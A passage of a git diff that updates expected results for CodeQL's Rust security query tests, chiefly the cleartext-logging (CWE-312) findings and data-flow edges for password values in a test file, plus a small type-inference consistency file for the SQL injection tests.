Crate(core@0.0.0) | ::produces | +| file://:0:0:0:0 | fn size_hint | file://:0:0:0:0 | Crate(core@0.0.0) | ::size_hint | +| file://:0:0:0:0 | fn size_hint | file://:0:0:0:0 | Crate(core@0.0.0) | ::size_hint | +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | impl ...::Encode::<...> for Option::<...> { ... } | file://:0:0:0:0 | Crate(core@0.0.0) | | +| file://:0:0:0:0 | impl ...::Encode::<...> for Option::<...> { ... } | file://:0:0:0:0 | Crate(core@0.0.0) | | +| file://:0:0:0:0 | impl Ord for Equal { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | +| file://:0:0:0:0 | impl Ord for Equal { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | +| file://:0:0:0:0 | impl Ord for Greater { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | +| file://:0:0:0:0 | impl Ord for Greater { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | +| file://:0:0:0:0 | impl Ord for Less { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | +| file://:0:0:0:0 | impl Ord for Less { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | diff --git a/rust/ql/test/query-tests/security/CWE-089/CONSISTENCY/TypeInferenceConsistency.expected b/rust/ql/test/query-tests/security/CWE-089/CONSISTENCY/TypeInferenceConsistency.expected new file mode 100644 index 000000000000..9bd564492406 --- /dev/null +++ b/rust/ql/test/query-tests/security/CWE-089/CONSISTENCY/TypeInferenceConsistency.expected @@ -0,0 +1,3 @@ +illFormedTypeMention +| sqlx.rs:158:13:158:81 | ...::BoxDynError | +| sqlx.rs:160:17:160:86 | ...::BoxDynError | diff --git a/rust/ql/test/query-tests/security/CWE-312/CleartextLogging.expected b/rust/ql/test/query-tests/security/CWE-312/CleartextLogging.expected index 61218e9c9085..594834bca1fe 100644 --- a/rust/ql/test/query-tests/security/CWE-312/CleartextLogging.expected +++ b/rust/ql/test/query-tests/security/CWE-312/CleartextLogging.expected @@ -1,220 +1,253 @@ #select -| test_logging.rs:42:5:42:36 | ...::log | test_logging.rs:42:28:42:35 | password | test_logging.rs:42:5:42:36 | ...::log | This operation writes $@ to a log file. | test_logging.rs:42:28:42:35 | password | password | | test_logging.rs:43:5:43:36 | ...::log | test_logging.rs:43:28:43:35 | password | test_logging.rs:43:5:43:36 | ...::log | This operation writes $@ to a log file. | test_logging.rs:43:28:43:35 | password | password | -| test_logging.rs:44:5:44:35 | ...::log | test_logging.rs:44:27:44:34 | password | test_logging.rs:44:5:44:35 | ...::log | This operation writes $@ to a log file. | test_logging.rs:44:27:44:34 | password | password | -| test_logging.rs:45:5:45:36 | ...::log | test_logging.rs:45:28:45:35 | password | test_logging.rs:45:5:45:36 | ...::log | This operation writes $@ to a log file. | test_logging.rs:45:28:45:35 | password | password | -| test_logging.rs:46:5:46:35 | ...::log | test_logging.rs:46:27:46:34 | password | test_logging.rs:46:5:46:35 | ...::log | This operation writes $@ to a log file. | test_logging.rs:46:27:46:34 | password | password | -| test_logging.rs:47:5:47:48 | ...::log | test_logging.rs:47:40:47:47 | password | test_logging.rs:47:5:47:48 | ...::log | This operation writes $@ to a log file. | test_logging.rs:47:40:47:47 | password | password | -| test_logging.rs:52:5:52:36 | ...::log | test_logging.rs:52:28:52:35 | password | test_logging.rs:52:5:52:36 | ...::log | This operation writes $@ to a log file. | test_logging.rs:52:28:52:35 | password | password | -| test_logging.rs:54:5:54:49 | ...::log | test_logging.rs:54:41:54:48 | password | test_logging.rs:54:5:54:49 | ...::log | This operation writes $@ to a log file. | test_logging.rs:54:41:54:48 | password | password | -| test_logging.rs:56:5:56:47 | ...::log | test_logging.rs:56:39:56:46 | password | test_logging.rs:56:5:56:47 | ...::log | This operation writes $@ to a log file. | test_logging.rs:56:39:56:46 | password | password | -| test_logging.rs:57:5:57:34 | ...::log | test_logging.rs:57:24:57:31 | password | test_logging.rs:57:5:57:34 | ...::log | This operation writes $@ to a log file. | test_logging.rs:57:24:57:31 | password | password | -| test_logging.rs:58:5:58:36 | ...::log | test_logging.rs:58:24:58:31 | password | test_logging.rs:58:5:58:36 | ...::log | This operation writes $@ to a log file. | test_logging.rs:58:24:58:31 | password | password | -| test_logging.rs:60:5:60:54 | ...::log | test_logging.rs:60:46:60:53 | password | test_logging.rs:60:5:60:54 | ...::log | This operation writes $@ to a log file. | test_logging.rs:60:46:60:53 | password | password | -| test_logging.rs:61:5:61:55 | ...::log | test_logging.rs:61:21:61:28 | password | test_logging.rs:61:5:61:55 | ...::log | This operation writes $@ to a log file. | test_logging.rs:61:21:61:28 | password | password | -| test_logging.rs:65:5:65:48 | ...::log | test_logging.rs:65:40:65:47 | password | test_logging.rs:65:5:65:48 | ...::log | This operation writes $@ to a log file. | test_logging.rs:65:40:65:47 | password | password | -| test_logging.rs:67:5:67:66 | ...::log | test_logging.rs:67:58:67:65 | password | test_logging.rs:67:5:67:66 | ...::log | This operation writes $@ to a log file. | test_logging.rs:67:58:67:65 | password | password | -| test_logging.rs:68:5:68:67 | ...::log | test_logging.rs:68:19:68:26 | password | test_logging.rs:68:5:68:67 | ...::log | This operation writes $@ to a log file. | test_logging.rs:68:19:68:26 | password | password | -| test_logging.rs:72:5:72:47 | ...::log | test_logging.rs:72:39:72:46 | password | test_logging.rs:72:5:72:47 | ...::log | This operation writes $@ to a log file. | test_logging.rs:72:39:72:46 | password | password | -| test_logging.rs:74:5:74:65 | ...::log | test_logging.rs:74:57:74:64 | password | test_logging.rs:74:5:74:65 | ...::log | This operation writes $@ to a log file. | test_logging.rs:74:57:74:64 | password | password | -| test_logging.rs:75:5:75:51 | ...::log | test_logging.rs:75:21:75:28 | password | test_logging.rs:75:5:75:51 | ...::log | This operation writes $@ to a log file. | test_logging.rs:75:21:75:28 | password | password | -| test_logging.rs:76:5:76:47 | ...::log | test_logging.rs:76:39:76:46 | password | test_logging.rs:76:5:76:47 | ...::log | This operation writes $@ to a log file. | test_logging.rs:76:39:76:46 | password | password | -| test_logging.rs:82:5:82:44 | ...::log | test_logging.rs:82:36:82:43 | password | test_logging.rs:82:5:82:44 | ...::log | This operation writes $@ to a log file. | test_logging.rs:82:36:82:43 | password | password | -| test_logging.rs:84:5:84:62 | ...::log | test_logging.rs:84:54:84:61 | password | test_logging.rs:84:5:84:62 | ...::log | This operation writes $@ to a log file. | test_logging.rs:84:54:84:61 | password | password | -| test_logging.rs:85:5:85:48 | ...::log | test_logging.rs:85:21:85:28 | password | test_logging.rs:85:5:85:48 | ...::log | This operation writes $@ to a log file. | test_logging.rs:85:21:85:28 | password | password | -| test_logging.rs:86:5:86:44 | ...::log | test_logging.rs:86:36:86:43 | password | test_logging.rs:86:5:86:44 | ...::log | This operation writes $@ to a log file. | test_logging.rs:86:36:86:43 | password | password | -| test_logging.rs:94:5:94:29 | ...::log | test_logging.rs:93:15:93:22 | password | test_logging.rs:94:5:94:29 | ...::log | This operation writes $@ to a log file. | test_logging.rs:93:15:93:22 | password | password | -| test_logging.rs:97:5:97:19 | ...::log | test_logging.rs:96:42:96:49 | password | test_logging.rs:97:5:97:19 | ...::log | This operation writes $@ to a log file. | test_logging.rs:96:42:96:49 | password | password | -| test_logging.rs:100:5:100:19 | ...::log | test_logging.rs:99:38:99:45 | password | test_logging.rs:100:5:100:19 | ...::log | This operation writes $@ to a log file. | test_logging.rs:99:38:99:45 | password | password | -| test_logging.rs:118:5:118:42 | ...::log | test_logging.rs:118:28:118:41 | get_password(...) | test_logging.rs:118:5:118:42 | ...::log | This operation writes $@ to a log file. | test_logging.rs:118:28:118:41 | get_password(...) | get_password(...) | -| test_logging.rs:131:5:131:32 | ...::log | test_logging.rs:129:25:129:32 | password | test_logging.rs:131:5:131:32 | ...::log | This operation writes $@ to a log file. | test_logging.rs:129:25:129:32 | password | password | -| test_logging.rs:152:5:152:38 | ...::_print | test_logging.rs:152:30:152:37 | password | test_logging.rs:152:5:152:38 | ...::_print | This operation writes $@ to a log file. | test_logging.rs:152:30:152:37 | password | password | -| test_logging.rs:153:5:153:38 | ...::_print | test_logging.rs:153:30:153:37 | password | test_logging.rs:153:5:153:38 | ...::_print | This operation writes $@ to a log file. | test_logging.rs:153:30:153:37 | password | password | -| test_logging.rs:154:5:154:39 | ...::_eprint | test_logging.rs:154:31:154:38 | password | test_logging.rs:154:5:154:39 | ...::_eprint | This operation writes $@ to a log file. | test_logging.rs:154:31:154:38 | password | password | -| test_logging.rs:155:5:155:39 | ...::_eprint | test_logging.rs:155:31:155:38 | password | test_logging.rs:155:5:155:39 | ...::_eprint | This operation writes $@ to a log file. | test_logging.rs:155:31:155:38 | password | password | -| test_logging.rs:158:16:158:47 | ...::panic_fmt | test_logging.rs:158:39:158:46 | password | test_logging.rs:158:16:158:47 | ...::panic_fmt | This operation writes $@ to a log file. | test_logging.rs:158:39:158:46 | password | password | -| test_logging.rs:159:16:159:46 | ...::panic_fmt | test_logging.rs:159:38:159:45 | password | test_logging.rs:159:16:159:46 | ...::panic_fmt | This operation writes $@ to a log file. | test_logging.rs:159:38:159:45 | password | password | -| test_logging.rs:160:16:160:55 | ...::panic_fmt | test_logging.rs:160:47:160:54 | password | test_logging.rs:160:16:160:55 | ...::panic_fmt | This operation writes $@ to a log file. | test_logging.rs:160:47:160:54 | password | password | -| test_logging.rs:161:16:161:53 | ...::panic_fmt | test_logging.rs:161:45:161:52 | password | test_logging.rs:161:16:161:53 | ...::panic_fmt | This operation writes $@ to a log file. | test_logging.rs:161:45:161:52 | password | password | -| test_logging.rs:162:16:162:55 | ...::panic_fmt | test_logging.rs:162:47:162:54 | password | test_logging.rs:162:16:162:55 | ...::panic_fmt | This operation writes $@ to a log file. | test_logging.rs:162:47:162:54 | password | password | -| test_logging.rs:163:16:163:57 | ...::assert_failed | test_logging.rs:163:49:163:56 | password | test_logging.rs:163:16:163:57 | ...::assert_failed | This operation writes $@ to a log file. | test_logging.rs:163:49:163:56 | password | password | -| test_logging.rs:164:16:164:57 | ...::assert_failed | test_logging.rs:164:49:164:56 | password | test_logging.rs:164:16:164:57 | ...::assert_failed | This operation writes $@ to a log file. | test_logging.rs:164:49:164:56 | password | password | -| test_logging.rs:165:16:165:61 | ...::panic_fmt | test_logging.rs:165:53:165:60 | password | test_logging.rs:165:16:165:61 | ...::panic_fmt | This operation writes $@ to a log file. | test_logging.rs:165:53:165:60 | password | password | -| test_logging.rs:166:16:166:63 | ...::assert_failed | test_logging.rs:166:55:166:62 | password | test_logging.rs:166:16:166:63 | ...::assert_failed | This operation writes $@ to a log file. | test_logging.rs:166:55:166:62 | password | password | -| test_logging.rs:167:17:167:64 | ...::assert_failed | test_logging.rs:167:56:167:63 | password | test_logging.rs:167:17:167:64 | ...::assert_failed | This operation writes $@ to a log file. | test_logging.rs:167:56:167:63 | password | password | -| test_logging.rs:168:27:168:32 | expect | test_logging.rs:168:58:168:65 | password | test_logging.rs:168:27:168:32 | expect | This operation writes $@ to a log file. | test_logging.rs:168:58:168:65 | password | password | -| test_logging.rs:174:30:174:34 | write | test_logging.rs:174:62:174:69 | password | test_logging.rs:174:30:174:34 | write | This operation writes $@ to a log file. | test_logging.rs:174:62:174:69 | password | password | -| test_logging.rs:175:30:175:38 | write_all | test_logging.rs:175:66:175:73 | password | test_logging.rs:175:30:175:38 | write_all | This operation writes $@ to a log file. | test_logging.rs:175:66:175:73 | password | password | -| test_logging.rs:178:9:178:13 | write | test_logging.rs:178:41:178:48 | password | test_logging.rs:178:9:178:13 | write | This operation writes $@ to a log file. | test_logging.rs:178:41:178:48 | password | password | -| test_logging.rs:181:9:181:13 | write | test_logging.rs:181:41:181:48 | password | test_logging.rs:181:9:181:13 | write | This operation writes $@ to a log file. | test_logging.rs:181:41:181:48 | password | password | +| test_logging.rs:44:5:44:36 | ...::log | test_logging.rs:44:28:44:35 | password | test_logging.rs:44:5:44:36 | ...::log | This operation writes $@ to a log file. | test_logging.rs:44:28:44:35 | password | password | +| test_logging.rs:45:5:45:35 | ...::log | test_logging.rs:45:27:45:34 | password | test_logging.rs:45:5:45:35 | ...::log | This operation writes $@ to a log file. | test_logging.rs:45:27:45:34 | password | password | +| test_logging.rs:46:5:46:36 | ...::log | test_logging.rs:46:28:46:35 | password | test_logging.rs:46:5:46:36 | ...::log | This operation writes $@ to a log file. | test_logging.rs:46:28:46:35 | password | password | +| test_logging.rs:47:5:47:35 | ...::log | test_logging.rs:47:27:47:34 | password | test_logging.rs:47:5:47:35 | ...::log | This operation writes $@ to a log file. | test_logging.rs:47:27:47:34 | password | password | +| test_logging.rs:48:5:48:48 | ...::log | test_logging.rs:48:40:48:47 | password | test_logging.rs:48:5:48:48 | ...::log | This operation writes $@ to a log file. | test_logging.rs:48:40:48:47 | password | password | +| test_logging.rs:53:5:53:36 | ...::log | test_logging.rs:53:28:53:35 | password | test_logging.rs:53:5:53:36 | ...::log | This operation writes $@ to a log file. | test_logging.rs:53:28:53:35 | password | password | +| test_logging.rs:55:5:55:49 | ...::log | test_logging.rs:55:41:55:48 | password | test_logging.rs:55:5:55:49 | ...::log | This operation writes $@ to a log file. | test_logging.rs:55:41:55:48 | password | password | +| test_logging.rs:57:5:57:47 | ...::log | test_logging.rs:57:39:57:46 | password | test_logging.rs:57:5:57:47 | ...::log | This operation writes $@ to a log file. | test_logging.rs:57:39:57:46 | password | password | +| test_logging.rs:58:5:58:34 | ...::log | test_logging.rs:58:24:58:31 | password | test_logging.rs:58:5:58:34 | ...::log | This operation writes $@ to a log file. | test_logging.rs:58:24:58:31 | password | password | +| test_logging.rs:59:5:59:36 | ...::log | test_logging.rs:59:24:59:31 | password | test_logging.rs:59:5:59:36 | ...::log | This operation writes $@ to a log file. | test_logging.rs:59:24:59:31 | password | password | +| test_logging.rs:61:5:61:54 | ...::log | test_logging.rs:61:46:61:53 | password | test_logging.rs:61:5:61:54 | ...::log | This operation writes $@ to a log file. | test_logging.rs:61:46:61:53 | password | password | +| test_logging.rs:62:5:62:55 | ...::log | test_logging.rs:62:21:62:28 | password | test_logging.rs:62:5:62:55 | ...::log | This operation writes $@ to a log file. | test_logging.rs:62:21:62:28 | password | password | +| test_logging.rs:66:5:66:48 | ...::log | test_logging.rs:66:40:66:47 | password | test_logging.rs:66:5:66:48 | ...::log | This operation writes $@ to a log file. | test_logging.rs:66:40:66:47 | password | password | +| test_logging.rs:68:5:68:66 | ...::log | test_logging.rs:68:58:68:65 | password | test_logging.rs:68:5:68:66 | ...::log | This operation writes $@ to a log file. | test_logging.rs:68:58:68:65 | password | password | +| test_logging.rs:69:5:69:67 | ...::log | test_logging.rs:69:19:69:26 | password | test_logging.rs:69:5:69:67 | ...::log | This operation writes $@ to a log file. | test_logging.rs:69:19:69:26 | password | password | +| test_logging.rs:73:5:73:47 | ...::log | test_logging.rs:73:39:73:46 | password | test_logging.rs:73:5:73:47 | ...::log | This operation writes $@ to a log file. | test_logging.rs:73:39:73:46 | password | password | +| test_logging.rs:75:5:75:65 | ...::log | test_logging.rs:75:57:75:64 | password | test_logging.rs:75:5:75:65 | ...::log | This operation writes $@ to a log file. | test_logging.rs:75:57:75:64 | password | password | +| test_logging.rs:76:5:76:51 | ...::log | test_logging.rs:76:21:76:28 | password | test_logging.rs:76:5:76:51 | ...::log | This operation writes $@ to a log file. | test_logging.rs:76:21:76:28 | password | password | +| test_logging.rs:77:5:77:47 | ...::log | test_logging.rs:77:39:77:46 | password | test_logging.rs:77:5:77:47 | ...::log | This operation writes $@ to a log file. | test_logging.rs:77:39:77:46 | password | password | +| test_logging.rs:83:5:83:44 | ...::log | test_logging.rs:83:36:83:43 | password | test_logging.rs:83:5:83:44 | ...::log | This operation writes $@ to a log file. | test_logging.rs:83:36:83:43 | password | password | +| test_logging.rs:85:5:85:62 | ...::log | test_logging.rs:85:54:85:61 | password | test_logging.rs:85:5:85:62 | ...::log | This operation writes $@ to a log file. | test_logging.rs:85:54:85:61 | password | password | +| test_logging.rs:86:5:86:48 | ...::log | test_logging.rs:86:21:86:28 | password | test_logging.rs:86:5:86:48 | ...::log | This operation writes $@ to a log file. | test_logging.rs:86:21:86:28 | password | password | +| test_logging.rs:87:5:87:44 | ...::log | test_logging.rs:87:36:87:43 | password | test_logging.rs:87:5:87:44 | ...::log | This operation writes $@ to a log file. | test_logging.rs:87:36:87:43 | password | password | +| test_logging.rs:95:5:95:29 | ...::log | test_logging.rs:94:15:94:22 | password | test_logging.rs:95:5:95:29 | ...::log | This operation writes $@ to a log file. | test_logging.rs:94:15:94:22 | password | password | +| test_logging.rs:98:5:98:19 | ...::log | test_logging.rs:97:42:97:49 | password | test_logging.rs:98:5:98:19 | ...::log | This operation writes $@ to a log file. | test_logging.rs:97:42:97:49 | password | password | +| test_logging.rs:101:5:101:19 | ...::log | test_logging.rs:100:38:100:45 | password | test_logging.rs:101:5:101:19 | ...::log | This operation writes $@ to a log file. | test_logging.rs:100:38:100:45 | password | password | +| test_logging.rs:119:5:119:42 | ...::log | test_logging.rs:119:28:119:41 | get_password(...) | test_logging.rs:119:5:119:42 | ...::log | This operation writes $@ to a log file. | test_logging.rs:119:28:119:41 | get_password(...) | get_password(...) | +| test_logging.rs:132:5:132:32 | ...::log | test_logging.rs:130:25:130:32 | password | test_logging.rs:132:5:132:32 | ...::log | This operation writes $@ to a log file. | test_logging.rs:130:25:130:32 | password | password | +| test_logging.rs:139:5:139:38 | ...::log | test_logging.rs:139:27:139:37 | s1.password | test_logging.rs:139:5:139:38 | ...::log | This operation writes $@ to a log file. | test_logging.rs:139:27:139:37 | s1.password | s1.password | +| test_logging.rs:146:5:146:38 | ...::log | test_logging.rs:146:27:146:37 | s2.password | test_logging.rs:146:5:146:38 | ...::log | This operation writes $@ to a log file. | test_logging.rs:146:27:146:37 | s2.password | s2.password | +| test_logging.rs:171:22:171:31 | log_expect | test_logging.rs:171:70:171:78 | password2 | test_logging.rs:171:22:171:31 | log_expect | This operation writes $@ to a log file. | test_logging.rs:171:70:171:78 | password2 | password2 | +| test_logging.rs:175:24:175:33 | log_expect | test_logging.rs:175:72:175:80 | password2 | test_logging.rs:175:24:175:33 | log_expect | This operation writes $@ to a log file. | test_logging.rs:175:72:175:80 | password2 | password2 | +| test_logging.rs:183:25:183:34 | log_unwrap | test_logging.rs:182:51:182:59 | password2 | test_logging.rs:183:25:183:34 | log_unwrap | This operation writes $@ to a log file. | test_logging.rs:182:51:182:59 | password2 | password2 | +| test_logging.rs:187:5:187:38 | ...::_print | test_logging.rs:187:30:187:37 | password | test_logging.rs:187:5:187:38 | ...::_print | This operation writes $@ to a log file. | test_logging.rs:187:30:187:37 | password | password | +| test_logging.rs:188:5:188:38 | ...::_print | test_logging.rs:188:30:188:37 | password | test_logging.rs:188:5:188:38 | ...::_print | This operation writes $@ to a log file. | test_logging.rs:188:30:188:37 | password | password | +| test_logging.rs:189:5:189:39 | ...::_eprint | test_logging.rs:189:31:189:38 | password | test_logging.rs:189:5:189:39 | ...::_eprint | This operation writes $@ to a log file. | test_logging.rs:189:31:189:38 | password | password | +| test_logging.rs:190:5:190:39 | ...::_eprint | test_logging.rs:190:31:190:38 | password | test_logging.rs:190:5:190:39 | ...::_eprint | This operation writes $@ to a log file. | test_logging.rs:190:31:190:38 | password | password | +| test_logging.rs:193:16:193:47 | ...::panic_fmt | test_logging.rs:193:39:193:46 | password | test_logging.rs:193:16:193:47 | ...::panic_fmt | This operation writes $@ to a log file. | test_logging.rs:193:39:193:46 | password | password | +| test_logging.rs:194:16:194:46 | ...::panic_fmt | test_logging.rs:194:38:194:45 | password | test_logging.rs:194:16:194:46 | ...::panic_fmt | This operation writes $@ to a log file. | test_logging.rs:194:38:194:45 | password | password | +| test_logging.rs:195:16:195:55 | ...::panic_fmt | test_logging.rs:195:47:195:54 | password | test_logging.rs:195:16:195:55 | ...::panic_fmt | This operation writes $@ to a log file. | test_logging.rs:195:47:195:54 | password | password | +| test_logging.rs:196:16:196:53 | ...::panic_fmt | test_logging.rs:196:45:196:52 | password | test_logging.rs:196:16:196:53 | ...::panic_fmt | This operation writes $@ to a log file. | test_logging.rs:196:45:196:52 | password | password | +| test_logging.rs:197:16:197:55 | ...::panic_fmt | test_logging.rs:197:47:197:54 | password | test_logging.rs:197:16:197:55 | ...::panic_fmt | This operation writes $@ to a log file. | test_logging.rs:197:47:197:54 | password | password | +| test_logging.rs:198:16:198:57 | ...::assert_failed | test_logging.rs:198:49:198:56 | password | test_logging.rs:198:16:198:57 | ...::assert_failed | This operation writes $@ to a log file. | test_logging.rs:198:49:198:56 | password | password | +| test_logging.rs:199:16:199:57 | ...::assert_failed | test_logging.rs:199:49:199:56 | password | test_logging.rs:199:16:199:57 | ...::assert_failed | This operation writes $@ to a log file. | test_logging.rs:199:49:199:56 | password | password | +| test_logging.rs:200:16:200:61 | ...::panic_fmt | test_logging.rs:200:53:200:60 | password | test_logging.rs:200:16:200:61 | ...::panic_fmt | This operation writes $@ to a log file. | test_logging.rs:200:53:200:60 | password | password | +| test_logging.rs:201:16:201:63 | ...::assert_failed | test_logging.rs:201:55:201:62 | password | test_logging.rs:201:16:201:63 | ...::assert_failed | This operation writes $@ to a log file. | test_logging.rs:201:55:201:62 | password | password | +| test_logging.rs:202:17:202:64 | ...::assert_failed | test_logging.rs:202:56:202:63 | password | test_logging.rs:202:17:202:64 | ...::assert_failed | This operation writes $@ to a log file. | test_logging.rs:202:56:202:63 | password | password | +| test_logging.rs:203:27:203:32 | expect | test_logging.rs:203:58:203:65 | password | test_logging.rs:203:27:203:32 | expect | This operation writes $@ to a log file. | test_logging.rs:203:58:203:65 | password | password | +| test_logging.rs:209:30:209:34 | write | test_logging.rs:209:62:209:69 | password | test_logging.rs:209:30:209:34 | write | This operation writes $@ to a log file. | test_logging.rs:209:62:209:69 | password | password | +| test_logging.rs:210:30:210:38 | write_all | test_logging.rs:210:66:210:73 | password | test_logging.rs:210:30:210:38 | write_all | This operation writes $@ to a log file. | test_logging.rs:210:66:210:73 | password | password | +| test_logging.rs:213:9:213:13 | write | test_logging.rs:213:41:213:48 | password | test_logging.rs:213:9:213:13 | write | This operation writes $@ to a log file. | test_logging.rs:213:41:213:48 | password | password | +| test_logging.rs:216:9:216:13 | write | test_logging.rs:216:41:216:48 | password | test_logging.rs:216:9:216:13 | write | This operation writes $@ to a log file. | test_logging.rs:216:41:216:48 | password | password | edges -| test_logging.rs:42:12:42:35 | MacroExpr | test_logging.rs:42:5:42:36 | ...::log | provenance | MaD:9 Sink:MaD:9 | -| test_logging.rs:42:28:42:35 | password | test_logging.rs:42:12:42:35 | MacroExpr | provenance | | -| test_logging.rs:43:12:43:35 | MacroExpr | test_logging.rs:43:5:43:36 | ...::log | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:43:12:43:35 | MacroExpr | test_logging.rs:43:5:43:36 | ...::log | provenance | MaD:12 Sink:MaD:12 | | test_logging.rs:43:28:43:35 | password | test_logging.rs:43:12:43:35 | MacroExpr | provenance | | -| test_logging.rs:44:11:44:34 | MacroExpr | test_logging.rs:44:5:44:35 | ...::log | provenance | MaD:9 Sink:MaD:9 | -| test_logging.rs:44:27:44:34 | password | test_logging.rs:44:11:44:34 | MacroExpr | provenance | | -| test_logging.rs:45:12:45:35 | MacroExpr | test_logging.rs:45:5:45:36 | ...::log | provenance | MaD:9 Sink:MaD:9 | -| test_logging.rs:45:28:45:35 | password | test_logging.rs:45:12:45:35 | MacroExpr | provenance | | -| test_logging.rs:46:11:46:34 | MacroExpr | test_logging.rs:46:5:46:35 | ...::log | provenance | MaD:9 Sink:MaD:9 | -| test_logging.rs:46:27:46:34 | password | test_logging.rs:46:11:46:34 | MacroExpr | provenance | | -| test_logging.rs:47:24:47:47 | MacroExpr | test_logging.rs:47:5:47:48 | ...::log | provenance | MaD:9 Sink:MaD:9 | -| test_logging.rs:47:40:47:47 | password | test_logging.rs:47:24:47:47 | MacroExpr | provenance | | -| test_logging.rs:52:12:52:35 | MacroExpr | test_logging.rs:52:5:52:36 | ...::log | provenance | MaD:9 Sink:MaD:9 | -| test_logging.rs:52:28:52:35 | password | test_logging.rs:52:12:52:35 | MacroExpr | provenance | | -| test_logging.rs:54:12:54:48 | MacroExpr | test_logging.rs:54:5:54:49 | ...::log | provenance | MaD:9 Sink:MaD:9 | -| test_logging.rs:54:41:54:48 | password | test_logging.rs:54:12:54:48 | MacroExpr | provenance | | -| test_logging.rs:56:12:56:46 | MacroExpr | test_logging.rs:56:5:56:47 | ...::log | provenance | MaD:9 Sink:MaD:9 | -| test_logging.rs:56:39:56:46 | password | test_logging.rs:56:12:56:46 | MacroExpr | provenance | | -| test_logging.rs:57:12:57:33 | MacroExpr | test_logging.rs:57:5:57:34 | ...::log | provenance | MaD:9 Sink:MaD:9 | -| test_logging.rs:57:24:57:31 | password | test_logging.rs:57:12:57:33 | MacroExpr | provenance | | -| test_logging.rs:58:12:58:35 | MacroExpr | test_logging.rs:58:5:58:36 | ...::log | provenance | MaD:9 Sink:MaD:9 | -| test_logging.rs:58:24:58:31 | password | test_logging.rs:58:12:58:35 | MacroExpr | provenance | | -| test_logging.rs:60:30:60:53 | MacroExpr | test_logging.rs:60:5:60:54 | ...::log | provenance | MaD:9 Sink:MaD:9 | -| test_logging.rs:60:46:60:53 | password | test_logging.rs:60:30:60:53 | MacroExpr | provenance | | -| test_logging.rs:61:20:61:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:61:5:61:55 | ...::log | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 | -| test_logging.rs:61:20:61:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:61:5:61:55 | ...::log | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 Sink:MaD:10 | -| test_logging.rs:61:20:61:28 | &... [&ref, tuple.0] | test_logging.rs:61:5:61:55 | ...::log | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 | -| test_logging.rs:61:20:61:28 | &password | test_logging.rs:61:20:61:28 | TupleExpr [tuple.0] | provenance | | -| test_logging.rs:61:20:61:28 | &password [&ref] | test_logging.rs:61:20:61:28 | TupleExpr [tuple.0, &ref] | provenance | | -| test_logging.rs:61:20:61:28 | TupleExpr [tuple.0, &ref] | test_logging.rs:61:20:61:28 | &... [&ref, tuple.0, &ref] | provenance | | -| test_logging.rs:61:20:61:28 | TupleExpr [tuple.0] | test_logging.rs:61:20:61:28 | &... [&ref, tuple.0] | provenance | | -| test_logging.rs:61:21:61:28 | password | test_logging.rs:61:20:61:28 | &password | provenance | Config | -| test_logging.rs:61:21:61:28 | password | test_logging.rs:61:20:61:28 | &password [&ref] | provenance | | -| test_logging.rs:65:24:65:47 | MacroExpr | test_logging.rs:65:5:65:48 | ...::log | provenance | MaD:9 Sink:MaD:9 | -| test_logging.rs:65:40:65:47 | password | test_logging.rs:65:24:65:47 | MacroExpr | provenance | | -| test_logging.rs:67:42:67:65 | MacroExpr | test_logging.rs:67:5:67:66 | ...::log | provenance | MaD:9 Sink:MaD:9 | -| test_logging.rs:67:58:67:65 | password | test_logging.rs:67:42:67:65 | MacroExpr | provenance | | -| test_logging.rs:68:18:68:26 | &... [&ref, tuple.0, &ref] | test_logging.rs:68:5:68:67 | ...::log | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 | -| test_logging.rs:68:18:68:26 | &... [&ref, tuple.0, &ref] | test_logging.rs:68:5:68:67 | ...::log | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 Sink:MaD:10 | -| test_logging.rs:68:18:68:26 | &... [&ref, tuple.0] | test_logging.rs:68:5:68:67 | ...::log | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 | -| test_logging.rs:68:18:68:26 | &password | test_logging.rs:68:18:68:26 | TupleExpr [tuple.0] | provenance | | -| test_logging.rs:68:18:68:26 | &password [&ref] | test_logging.rs:68:18:68:26 | TupleExpr [tuple.0, &ref] | provenance | | -| test_logging.rs:68:18:68:26 | TupleExpr [tuple.0, &ref] | test_logging.rs:68:18:68:26 | &... [&ref, tuple.0, &ref] | provenance | | -| test_logging.rs:68:18:68:26 | TupleExpr [tuple.0] | test_logging.rs:68:18:68:26 | &... [&ref, tuple.0] | provenance | | -| test_logging.rs:68:19:68:26 | password | test_logging.rs:68:18:68:26 | &password | provenance | Config | -| test_logging.rs:68:19:68:26 | password | test_logging.rs:68:18:68:26 | &password [&ref] | provenance | | -| test_logging.rs:72:23:72:46 | MacroExpr | test_logging.rs:72:5:72:47 | ...::log | provenance | MaD:9 Sink:MaD:9 | -| test_logging.rs:72:39:72:46 | password | test_logging.rs:72:23:72:46 | MacroExpr | provenance | | -| test_logging.rs:74:41:74:64 | MacroExpr | test_logging.rs:74:5:74:65 | ...::log | provenance | MaD:9 Sink:MaD:9 | -| test_logging.rs:74:57:74:64 | password | test_logging.rs:74:41:74:64 | MacroExpr | provenance | | -| test_logging.rs:75:20:75:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:75:5:75:51 | ...::log | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 | -| test_logging.rs:75:20:75:28 | &... [&ref, tuple.0, &ref] | 